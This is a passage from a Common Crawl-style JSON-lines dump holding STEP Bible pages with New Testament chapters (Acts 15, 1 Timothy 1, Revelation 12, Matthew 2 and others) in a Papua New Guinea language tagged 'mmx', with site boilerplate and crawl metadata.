a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=1Ti.3","date":"2018-10-20T23:54:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583513508.42\/warc\/CC-MAIN-20181020225938-20181021011438-00424.warc.gz","language":"mmx","language_score":0.9999617338,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999617338180542}","num_words":694,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.264,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Corinthians 21 Nia aga doma i do nia noxo vot pasa bok ba nimi at tara tavatpas melemu, kusu a noxo lox abulu nimi. 2 Mo do ana lox abulu nemi, nege bok ba naba lox amomo ia? La ixo epovo do nia aba lok ka tomomo boro at tara vetpes. 3 Ni lavasuun teren la nia aga malagan mo lovoang petpes tinimi. Agoxopara i do ana vot pasa nimi la ana ruuna ka lainbulu mila nemi vam nom limixin do ri lox amomo ia. Aga nuunu do miba momo eburu minia. 4 Aga malagan mo lovoang tinimi mi langsangan lumumuat la lanteng keneng at lorooro rak la lengkabilidan bok gara sixisu at luxatli rak, la mo levelinga xopmen do ri lox abulu nemi, ketla nia aga malagan i ti lox axasep nemi xusu mina ven kisip labalamu silok tarak tinimi.\nMina Doxoma Xape Laxakapmek At Laradi Ga Lox I5 Mo laradi xantubu atnimi goxo lox abulu solo ia, ketla neni ga lox abulu aleng lentaba atnemi limixin lotu. La nia axopara i do lumumuat teren na silok solo. 6 Buaang atnemi miga siam mi mo lumumuat neni ga ruuna ka i, la na xap ta go. 7 Ketla mo nga mina doxoma xape laxakapmek teren, la mina su auru i mi levelinga xusu ri lox axatu kaxat bok lodoxoma ren basinge lainbulu la loklox abulubun. 8 Kuren la a sing alolos nemi do mina lox asuusu amu bok mo labalamu atnemi rin. 9 Aga malagan mo lovoang tinemi mumu mun i na. Aga vara i do ana long lenget ka i do mina ronga res ap mo levelinga rak keneng at nom lumumuat la mibang tonga res amisik at levelinga rak. 10 Do nemi mina doxoma xape laxapmek teren, nenia bok aba doxoma xape i; ketla axok pakes ti doxoma xepe laxakapmek teren, ketla i epovo do nia ana lox i xuren kusu ana ru tooro nimi at lemeren ne Karisito. 11 Kerepmo la ne Satan noxo epovo na sar asoogong nedik, mila nedik diklen levendomdoma la leven gugu ren.\nLuvuttadi Vavang At Lekabus Maxat12 Gase aga vot to Troas kusu ana vavang mi Lagale Lavavang mumu ne Karisito, aga long lenger i do Leeme Silok ga suang langas tia ri lok lugugu go. 13 Ketla aga bulu aleng mila nia agoxo ven kora ka netak ne Taitas go. Kuren la aga on basinge di, la agat pas uto Masadonia.\n14 Ketla ata tong avukat ti ne Moroa, mo im gomgo amisik tinama at lugugu atnama; anai i lok ngan at lavatpas momo atnema xeneng at ne Karisito ik sak tup mi lavamunepen atnama; la at lekngen nama neni i paase asu Lagale Lavavang at lengkot axap la neni i so misigisigis tinedi dikleklen i. 15 Nedik di ru katling ne Karisito ngan lavanga i so misigisigis ti ne Moroa; la nedi dik lok ka lorooro maxat, la nedi bok dinaba seeve, dim somax i. 16 Tinedi dinaba seeve, di ven kibis lanmet; la tinedi di roo suu, di ven kibis lorooro; kuren la nege i epovo nap kip lugugu at Lagale Lavavang atla i silok aleng? 17 Nema maxo lok ngan nedi mo buaang lentaba di tong asu levelinga at ne Moroa xusu dina lok kaka lempilas. Ketla ma paase asu levelinga at ne Moroa mi luruturun, ma gugu at lemeren ne Moroa ngan lavaanat saxaruki at ne Karisito.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=2Cor.2","date":"2018-10-19T12:54:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512400.59\/warc\/CC-MAIN-20181019124748-20181019150248-00395.warc.gz","language":"mmx","language_score":0.9996104836,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9996104836463928}","num_words":709,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.212,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"aAmo 9:11-12\nActs 15\nLovotpot Buru To Jerusalem1 Lentaba luvuttadi nuunu diga la boro Judaia uto Antiok la diga lok ti luvuttadi nuunu mego keretna, \"Nemi xopmen mi noxo lok ka lorooro do xopmen mi noxo vit kepe lengkontuxu atnimi xerekngan Lenavolo at ne Moses i tong i.\" 2 Pol mi ne Banabas duga ronga i na la duga vaase mukmusak aleng la duga etep mi levelinga minedi; kuren la limixin nuunu ro Antiok diga lok katling ne Pol mi ne Banabas la lentaba bok kusu dibat pas uto Jerusalem la dina vot pasa luvuttadi vavang la loxongkulao silok la dina paase mumu na lavanga. 3 Luvuttadi lotu me go Antiok diga sak tiki nedi uto Jerusalem, la digat pas maxeneng at lengkot Pinisia la Samaria la diga tong asu i ri limixin nuunu go, do limixin kopmen di me Judaia, mo diga leeng la diga nuunu at ne Iesu; lavavang at na ga lox amomo buaang nedi luvuttadi nuunu. 4 Se diga rupot to Jerusalem, limixin at lotu me go la luvuttadi vavang la loxongkulao silok diga seega rangarang di, la ne Pol mi ne Banabas duga tong mo lempanga ne Moroa ga lox i xantubu at lugugu at nedu.\n5 Ketla lentaba luvuttadi nuunu, nedi lubung Parisi diga xatu kaxat la diga vaase lolos keretna, \"Nedi mo limixin kopmen di me Judaia dina rivit kepe lengkontuxu atnedi la ata tong box i ridi do dina mumu asu Lenavolo at ne Moses.\"\n6 Luvuttadi vavang eburu mi loxongkulao silok diga vot eburu xusu dina paase mumu loklok ti rivit kepe lengkontuxu. 7 Melemu at laxampapaase solo atdi ga xap, Pita ga xatu kaxat upana la ga lok, \"Luvutnetak, mikleklen i do gano migomgo Moroa ga soxolik ka ia xantubu atnimi xusu ana tong asu Lagale Lavavang tinedi limixin kopmen di me Judaia kusu dina ronga i la dina nuunu ren. 8 La ne Moroa no ikleklen luruptuvuk at limixin, ga lox asuusu i do ni ga siam ka limixin kopmen di me Judaia keretna; ni ga raba di mi Loroonan Kaala xerekngan ni ga raba dik min. 9 Moroa ga lok legesa ngas mun ti lorooro rinedik limixin me Judaia la tinedi limixin kopmen di me Judaia; ni ga gos amaxat lebelen di mila diga nuunu ren. 10 Kuren la nemen dik ta lok tong pen ne Moroa la nemen dik ta raba limixin nuunu mi na lumumuat ti rivit kepe lengkontuxu kusu dina lox epovo Lenavolo at ne Moses; mila no migo lavalabat atdik la nedik ta goxo epovo ri lox epovo na Lenavolo. 11 Nedik taga lok ka lorooro maxat keneng mun at letaba nabalamu at Leeme Silok ne Iesu, kerekngan bok nedi.\"\n12 Nedi axap mo diga xis pilo at loxonaleng ne Banabas mi ne Pol duga tong asu lempanga sangsangu ne Moroa ga lox i at levengkikngen du kantubu atnedi limixin kopmen di me Judaia. 13 Melemu at lavapaase atdu, Jems ga lok keretna, \"Luvutnetak, mina ronga ia! 14 Ana vam ne Simon ira soxomus pam i do ganoxa ne Moroa ga lox asu labalamu ren saparap limixin kopmen di me Judaia la ga lok kaka lentaba atnedi xusu tin. 15 Na levelinga rak i sixit epovo mi levelinga at lavaeme vapaase alii, lara atdi ga lok;\n16 'Leeme Silok ga lok keretna. Melemu at na, anabamlong; la nia anaba vaxaru amlong bok loogu at ne Devit no ga subu. Anaba lok li amlong lengkot to ap mo loogu ga lok kapmek la ana vaxaru amlong box i. 17 Nia anaba lox i na xusu limixin kopmen di me Judaia bok diba puse ria; nedi mo, nia ara ro ka vam di do atarak. 18 Nenia, Leeme Silok atnimi, a tong i na la aba lok epovo na levelinga kerekngan aga tong li i gano migomgo.\" a\n19 Jems ga lok bok keretna, \"At lodoxoma rak do nemen dik ta lox asoogong nedi limixin kopmen me Judaia mo dit pas saparap ne Moroa. 20 Ketla ata malagan tevelinga ri vaase axasep nedi do kopmen di noxo anan leveluxa no diaplavang pam min ti laxampoovo moroa; la dina ke loklok kakapmek maxamang at lixitkis epot, la di noxo anan lempanga mi lavanuet kangkedek no diga xur amer i la lada ren goxo sen su ukamang, la lempanga bok mi lada atnedi. 21 La kerepmo diba lok ngangao at leme Judaia, no di utus lenavolo at ne Moses to xeneng at laraugu singising at levenaleng kaala ga ru ka i gano migomgo i se lingina; la mo levelinga ren dira vavang pam min at levenmenemen axap.\"\nLevelinga Ri Limixin Kopmen Di Me Judaia Di Nuunu22 La luvuttadi vavang la loxongkulao silok eburu mi limixin axap at lotu, diga doma i do dina soxolik ka lentaba luvuttadi ap mo libinam tadi la dina sak tiki nedi uto Antiok eburu mi ne Pol la ne Banabas. Diga soxolik ka ne Judas, laasen bok teren ne Basabas, la ne Sailas; nedu luradi silok kantubu at limixin nuunu. 23 Diga raba nedu mi mo lovoang ga lok keretna;\n\"Nema na luvuttadi vavang la loxongkulao silok, luvutneton nimi; ma lox aonon lomomo atnama rinemi limixin kopmen nemi me Judaia mo mi nemen to Antiok, Siria, la Silisia. 24 Maga ronga i do lentaba atnama digat pas udo saparap nimi, la diga lox ekarakat nimi la diga lox abulu nimi mumu loklok ti rivit kepe lengkontuxu; di xopmen di goxo lok ka tevelinga atnama xusu ri lox i mo. 25 Kuren la nema ma vot eburu la ma siam do mana soxolik ka teventaba tuvuttadi vapaase la mana riki nedi udom tinemi. Dibat pas eburu mi larapen tangas atnama, ne Banabas mi ne Pol, 26 no duga raba lorooro atdu ri lugugu at Leeme Silok, ne Iesu Karisito; la kopmen du goxo marat at lanmet. 27 Ma riki bok nedu lura rinimi, ne Judas mi ne Sailas kusu duba vaase asu levelinga at lungusno atdu xerekngan nema ma malagan i. 28 Loroonan Kaala la nema mara siam pam do ma noxo lok li bok ba teventaangas mavana atnimi, ketla mina ronga res at na levelinga. 29 Mi noxo anan teveluxa no diraplavang pam min ti lempatpoovo moroa; mi noxo anan lempanga mi lada atnedi, mi noxo anan tempanga mi lavanuet kangkedek no diga xur amer i la lada ren kopmen goxo sen su, la mina ke loklok kakapmek maxamang at lixitkis epot; naba lox avukat tinotno rinimi do mina ke xepe na lempanga. Atnimi bok be.\"\n30 Limixin lotu diga riki mo luvuttadi vapaase asu levelinga uto Antiok. Diga rupot la diga ro bubua ka mo axap limixin nuunu la diga raba nedi mi levelinga loklox axasep keneng ap mo lovoang. 31 Limixin diga utus i mo levelinga, la diga umsu mi lomomo ti mo levelinga loklox alolos. 32 Judas la ne Sailas, nedu vam luradi vapaase alii, duga vaase abao aleng eburu mi luvuttadi nuunu, la duga lox alolos nedi. 33 Melemu at lentaba levenaleng mo go, diga lox aonon du mi lenmila atnedi mo luvuttadi nuunu; la dugamlong uto saparap nedi mo limixin no diga sak tiki avot be du. 34 [Ketla Sailas ga doxoma i do na nemen go.]\n35 La ne Pol mi ne Banabas duga nemen go Antiok; nedu eburu mi lentaba buaang diga anasa limixin la diga vavang mi levelinga at Leeme Silok.\nPol Mi Ne Banabas Duga Epeseves36 Lentaba levenaleng ga volo la ne Pol ga lok ti ne Banabas, \"Atamlong la ata ven luvuttadi nuunu ro at levenmenemen axap no neda taga vavang mi levelinga at Leeme Silok e, la ataba ven i do nedi mo diak lok ta xereva.\" 37 Banabas ga vara i do na lok ka ne Jon Mak eburu midu. 38 Ketla ne Pol ga doma i do goxo lox avukat do neni na emu eburu midu; mila gano ne Jon Mak goxo nemen eburu minedu ap mo lugugu, ketla ni gamlong kot mene atdu ro Pampilia. 39 Duga vaase lolos aleng mumu i na xantubu atnedu, la duga epeseves; Banabas ga lam kaka ne Mak la duga mu lavattaaxup uto Saipras. 40 Ketla ne Pol ga soxolik ka ne Sailas. La luvuttadi nuunu diga song araba ne Pol mi ne Sailas ti loklok tatao at Leeme Silok la duga vas kaxat. 41 Dugat pas maxeneng at lunep silok Siria la Silisia, la duga lox alolos luvuttadi nuunu.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nESVthroneDavidIsa-Rev\nKJVWHNUJohn 1\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Act.15","date":"2018-10-20T01:45:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512501.27\/warc\/CC-MAIN-20181020013721-20181020035221-00035.warc.gz","language":"mmx","language_score":1.0000042915,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000042915344238}","num_words":1423,"character_repetition_ratio":0.071,"word_repetition_ratio":0.003,"special_characters_ratio":0.219,"stopwords_ratio":0.303,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Timothy 1\nLavapaase Axasep1 Nenia ne Pol, laradi vavang at ne Iesu Karisito, mo nedik ta doxoma voovo rin. Nedu mi ne Moroa, Laradi Loklox Arooro atdik, duga soxolik ka ia ri na lugugu.\n2 Nia a malagan na lovoang ti ne Timoti, lamdak tinotno rak maxeneng at legesa nuunu.\nLetaba nabalamu, lebelemumu, la limila bok tu boro at ne Temen dik la ne Iesu Karisito, Leeme Silok atdik.\nLevempapaase Aronga Mumu Leveloklox Ase Xaxarang3 Nia a vara i do una nemen go Epesas, kerekngan aga tong i ru ap mo laaleng nia aga vas kaxat uto Masadonia. Leventaba luvuttadi me go Epesas di vanasa limixin mi levenanasa xaxarang; kuren la una tong i ridi do dina xap ta ap mo loklok. 4 La una tong i ridi do dina xap ta ap mo laxampapaase solo mumu leventetere, la levenasen at lavalabat, mila nai ik lox asu mun levenedak; la ik lox asi lugugu at ne Moroa, mo lugugu i lox alolos lunuunu at limixin. 5 Lavasuun at nai levelinga rak, ti lox axatu labalamu xantubu at limixin nuunu; nom labalamu i ravasu boro xeneng at lorooro kopmen taxakapmek teren la boro bok at lodoxoma, kopmen tusumsuma xapmek teren la boro bok at lunuunu ruturun. 6 Leventaba luvuttadi digara rem gili su vam basinge i na la dira domampe vam langas at lunuunu la di tong asu mun levelinga kopmen tavasuun teren. 7 Di vara i do dina anasa limixin mi Lenavolo at ne Moroa, ketla dixo xasep teren la dixo xasep bok ap mo levelinga di anasa limixin min.\n8 Nedik ataklen i do Lenavolo i lox avukat, mo do tara im tebeng avukar i. 9 Ataklen box i do Lenavolo at ne Moroa, kopmen tinedi limixin avukat, ketla tinedi limixin di los polo Lenavolo, la tinedi limixin tongtonga xepe, la tinedi limixin kopmen dina lotu saparap ne Moroa, la ti luvuttadi xapmek, la tinedi bok kopmen dina lok ngangao at ne Moroa la levempanga at lotu, la tinedi dip sev amet luvuttemen di mi luvutnen di, la tinedi dip sev amet limixin petpes, 10 la tinedi bok di lok laxakapmek maxamang at lixitkis epot, la tinedi lavatlok di velongka, la tinedi bok di babala ka limixin kusu dina gugu atdi; la tinedi bok di xaxarang la di tong asu levelinga xaxarang mumu laradi i tu at lavapaase; tinedi bok di lok levempanga xerepmo xopmen na epovo mi levelinga ruturun at ne Moroa. 11 Na levelinga ik lok to xeneng at Lagale Lavavang, mo ne Moroa ga raba ia min, kusu ana tong asu i. Lagale Lavavang ne Moroa i lox asuusu lisisixam at ne Moroa, kuren la ata emi asu mi ne Moroa.\nPol Ga Tong Avukat Mumu Labalamu At Ne Moroa12 A tong avukat ti ne Iesu Karisito, Leeme Silok atdik, ni gara raba vam ia mi lololos ti lok lugugu rak. A tong avukat tinotno rin mila ni ga ven ia do nenia laradi ruturun, la ni ga soxolik ka ia xusu ana gugu rin. 13 Keke i do gano migomgo aga paase vupu rin, la agap sep limixin teren, la agak lox asongot di. Ketla ne Moroa ga lox asuusu lebelemumu ren tia, mila nenia agoxoklen levempanga salai gak mokso la goxopmen tunuunu rak. 14 La Leeme Silok atdik ga sobang asi mo letaba nabalamu ren mavana rak la ga raba box ia mi lunuunu la labalamu, no i ravasu at ne Iesu Karisito.\n15 Anai levelinga ruturun tidik, ata siam ka i la ata nuunu bok teren. Iesu Karisito ga si ude xopok at na lavatbung menemen kusu ri lox arooro limixin kapmek. Loklok kakapmek tarak i silok aleng ti loklok kakapmek atnedi. 16 Ketla ni lavasuun mun teren la ne Moroa ga lox asuusu lebelemumu ren tia, kusu ne Iesu Karisito na ngangais aleng tia ri leeng basinge leveloklok kakapmek tarak, keke i do nenia laradi a lok kapmek aleng ti limixin axap. La nai loklok at ne Iesu Karisito, ni lampoovo rinedi limixin axap diba nuunu ren la dina lok ka lorooro avolo. 17 Kuren la ata emi asu mi Loorong Silok naba rooro amisik, la kopmen noxo met la dik taxo epovo ri ven i; neni xusuk mun ne Moroa. Ata lox asuusu amisik loklok ngangao la leemi asu rin! Tuturun.\n18 Timoti, nenu lamdak tarak. Ana raba u mi na levelinga i epovo mi levelinga vapaase alii at lugugu ram saparap ne Moroa gano migomgo. Do una mumu asu i, ba lox alolos u xusu unaba esep avukat ap mo leesep nunuan, 19 la ubam tebeng lolos lunuunu la u noxo suma loklok mamangan at lorooro ram. Leventaba luvuttadi diga ronga xepe na levelinga, la diga lok kapmek pam lunuunu atdi. 20 Kantubu atdi, ne Aimenias la ne Aleksanda, aga song araba vam du ri lekngen ne Satan, kusu dubaklen ka i do du noxo paase vupu ri ne Moroa.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=1Ti.1","date":"2018-10-21T18:42:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583514314.87\/warc\/CC-MAIN-20181021181851-20181021203351-00422.warc.gz","language":"mmx","language_score":0.9999797344,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999797344207764}","num_words":955,"character_repetition_ratio":0.06,"word_repetition_ratio":0.004,"special_characters_ratio":0.215,"stopwords_ratio":0.254,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Revelation of John 12\nLatkin La Ne Satan1 Lara loklok katling silok ga ravasu to vana at lamavangkap. Lara latkin ga rupot, laxangking ga itis i ngan lisingsigaara ren, la lagaaling gak lok to maxopok at luxangkedek teren, la ni ga siga lasangaun mi legepura larapenti ro at lavatlak teren ngan lavatbungorong. 2 Neni ga balan madak, la ga auret ta do na visik, la losongsongot teren ga lolos la neni ga reng. 3 La lara loklok katling bok ga ravasu to vana at lamavangkap. Lara langsangan lavattulaava memele ga rupot. Ni ga ruuna lavanuti lempatlak la lasangaun lempatkom, la lavanuti lempatbungorong gak lok at nom lavanuti lempatlak teren. 4 Latketke ren ga rev asi lenep sepsev avantun at larapenti boro vana at laxalibet la ga lu asi midi ude xopok at lavatkangka. La na lavattulaava ga tu to melamgo at nom latkin kusu neni na anan lamdak teren do ni na visik asu i. 5 La neni ga visik lamdak temes, mo naba lok tatao limixin axap at na lavatbung menemen la loklok tatao ren naba lolos aleng. Ketla ne Moroa ga lok ka mo lamdak uto vana at loxonin orong teren. 6 La mo latkin ga sixiro uto at lamatbin at lara loxot ne Moroa ga lox agagas li i, la neni ba lok tatao i go at legesa abin sangsangaun kobot mi legepu sangaun kobot mi lavanna sangaun (1,260) aleng.\n7 La lara leesep ga xatu kaxat to vana at laxalibet. Mikael, lara laangelo gomgo eburu mi lubungangelo teren diga esep eburu mi nom lavattulaava; la nom lavattulaava eburu mi lubungangelo ren diga esep tangarang di. 8 Ketla ne Mikael eburu mi lubungangelo ren diga sak tup mi mo lavattulaava, la neni eburu mi lubungangelo ren goxopmen bok ba toxot tidi xusu tik lok to vana at laxalibet. 9 La ne Mikael eburu mi lubungangelo ren diga lu asi mi mo lavattulaava eburu mi lubungangelo ren. Neni lavattulaava me gaxatnak, luasen teren ne Devel la ne Satan, mo i sasar asoogong limixin axap ti laxapmek; nedi diga lu asi midi ude xopok at na lavatbung menemen.\n10 La aga ronga laxaka linga silok to vana at laxalibet ga lok keretna,\n\"Mo nga loklox arooro at ne Moroa la lololos teren eburu mi Linintoo ren naba ru asaxaven. La na nga Lanarong teren naba lox asuusu lololos teren to xopok at lavatbung menemen; mila ne Satan mo ga tu ro melamgo at ne Moroa xusu neni na babala raba luvutneton dik at levenaleng kangking la kanimin. La lubungangelo at ne Moroa digara lu asi vam min uto xopok. 11 La luvutneton nedik dira sak tup pam mi ne Satan mila diga nuunu at lada at Lanasip la at lempapaase ruturun at ne Moroa, mo levelinga diga tong asu i la di goxo marat mi lorooro atdi, diga gagas kusu dina met. 12 Kuren la mina momo, nemi limixin mik lok de vana at laxalibet. Ketla naba lolos aleng tinedi limixin di nemen to xopok at lavatbung menemen la to saparap laras; mila ne Satan ira si vam saparap nimi la i musak aleng tinotno, mila ikleklen i do neni noxo nemen abao ro xopok.\" a\n13 Nom lavattulaava ga ven kibis i do lubungangelo diga lu asi min ude xopok at lavatbung menemen, la neni ga xala mu mo latkin, no ga visik mo lamdak temes. 14 Ketla ne Moroa ga raba nom latkin mi legepu vapa at lamalom silok kusu rin ti rava basinge mo lavattulaava la uto at lamatbin. Mo go ne Moroa ga lox agagas li vam loxot tin, kusu ni bak lok tatao i go at lavantun mi loxonatat levenmaares. 15 La ladan sen silok ga rem sobang su boro at lungusno at lavattulaava, kusu ladanut naba suxu xepe nom latkin la na sev amer i. 16 Ketla lavatkangka ga lok tooro nom latkin, la lara lamamara ga rem suang la lavatkangka ga xanom mo ladan silok ga sixisu boro at lungusno at nom lavattulaava. 17 La melemu mo lavattulaava ga musak teng aleng mumu nom latkin, la ni ga vas kaxat basinge i, la ga onon uto at lenep petpes kusu na esep eburu mi livipisik li at nom latkin; nedi mo ding tonga res at levelinga at ne Moroa la di nuunu at levempapaase ruturun at ne Iesu. 18 La mo lavattulaava ga tu ro loxon at lisigege at laras.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Rev.12","date":"2018-10-19T09:02:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512382.62\/warc\/CC-MAIN-20181019082959-20181019104459-00543.warc.gz","language":"mmx","language_score":0.9999581575,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"mmx_Latn_score\": 0.9999581575393677}","num_words":872,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.287,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Matthew 2\nLovotpot At Luvuttadi Leklen1 Maria ga visik ne Iesu ro Betilem, at lenep silok Judaia. Ap mo levenaleng ne Erodes ga nemen ngan loorong silok. Melemu lentaba luvuttadi leklen at larapenti digat pas boro at lenep laxangking it losu e uto Jerusalem 2 la diga sue limixin go, \"Lumumulum ua diga visix i kusu na lok ngan loorong silok ti limixin me Judaia? Maga ven lenti ren to at lenep laxangking it losu e, la marat pas ude xusu mana lotu saparav i.\"\n3 Erodes ga ronga i na, la lebelen ga xatu, la limixin axap go Jerusalem lebelen di ga xatu bok. 4 Erodes ga ro bubua ka nedi axap luvuttadi amgomgo at lubungmaasa la luvuttadi loklox ase at Lenavolo la ga sue di xeretna, \"Lanarong diba visix i ua?\" 5 La diga vorang i rin keretna, \"To at lemenemen Betilem at lenep Judaia, mila leeme vapaase alii ga malagan i xeretna,\n6 'Lemenemen Betilem at lenep Juda, neni i silok aleng ti levenmenemen petpes to Juda. Tara me dom naba vot ngan laradi gomgo la naba lok tatao limixin tarak mede Israel kerekngan laradi loklok tatao sipsip.\" a\n7 La ne Erodes ga ro bubua nemnem ka mo luvuttadi leklen la ga sue di mi laaleng salai mo lenti ga so su ren. 8 Melemu neni ga riki di uto Betilem mi levelinga xeretna, \"Minat pas la mina puse avukat ti mo lamdak; la do mina vuse sa ren, miba tong axasep box ia min, kusu nenia bok aba vosiga i la ana lotu saparav i.\"\n9 Melemu at na levelinga at Loorong Silok, diga vas kaxat, la at lavatpas atdi ro at langas diga ven manga mo lenti, no diga ven avot pam i ro at lenep laxangking it losu e. At loxonaleng diga ven i, lomomo atdi ga silok aleng. Mo lenti gam gomgo ridi se ga ru ro mavana ap mo loogu ne Iesu gak midi ren. 11 Diga beles ukeneng la diga ven lamdak eburu mi ne Maria, nenen. Diga xis tiktikbu mi lempatgulom atdi la diga milik tiding si ukopok la diga lotu saparav i. La diga suang lengkontonom atdi la diga lok letaba rin mi logol, laxadan somavak, la laxadan mi luunun silok. 12 Melemu at nai Moroa ga vaase di xeneng at loromtobo do nemen gat ditamlong uto saparap ne Erodes. Kuren la diga vas bilong uto at lenep kangka atdi at lara langas petpes.\nJosep Ga Oo Mi Ne Maria Du Lenan Uto Isip13 Se mo luvuttadi leklen diga vas kaxat pam, laangelo at Leeme Silok ne Moroa ga vot parap ne Josep keneng at loromtobo la ga lok, \"Una xatu kaxat la una lok kaka lamdak eburu mi nenen la mina sixiro uto Isip, la mina nemen go se nenia aba tong i rinimi do mina on basinge mo lenep, mila ne Erodes mo naba reven pupuke ri lamdak kusu na sev amer i.\"\n14 Kuren la ne Josep ga xatu kaxat, la ga lok kaka lamdak eburu mi nenen, la ap mo mene laxanimin diga vas kaxat basinge mo lemenemen Betilem la uto Isip. 15 La diga nemen go se ne Erodes ga met. Nai lempanga ga vot kusu ri lox asorun levelinga at ne Moroa ga vaase asu i at lungusno leeme vapaase alii ren keretna,\n'Aga xup kaka lamdak tarak boro Isip.' b\nDiga Sev Amet Laxamdak Temes To Betilem16 Se ne Erodes ga long lenget ka i do luvuttadi leklen diga bala vukpux i, neni ga musak aleng. Neni ga raba linga limixin esep teren kusu dina sev amet laxamdak temes, lenmaares atdi ga epovo at legepura la maxopok, to Betilem la at levenmenemen bok gak lox auret, mumu levelinga neni gara ronga vam i boro at luvuttadi leklen, mumu laaleng lenti ga so suu. 17 La mo levelinga, ne Moroa ga vaase i at lungusno at leeme vapaase alii ren ne Jeremia ga sorun, la ga lok keretna,\n18 'Lerengteng at lara mo diga ronga i ro Rama, ni lanteng silok. Rakel mo ik saxaanu at laxamdak teren. La kopmen tara i epovo do na lox amenemen i mila laxamdak axap teren mo dira met pam.' c\nJosep Mi Ne Maria La Ne Iesu Digamlong Boro Isip19 Melemu at lanmet at ne Erodes, laangelo at Leeme Silok ne Moroa ga vot saparap ne Josep keneng at loromtobo to Isip. 20 La ga lok, \"Una 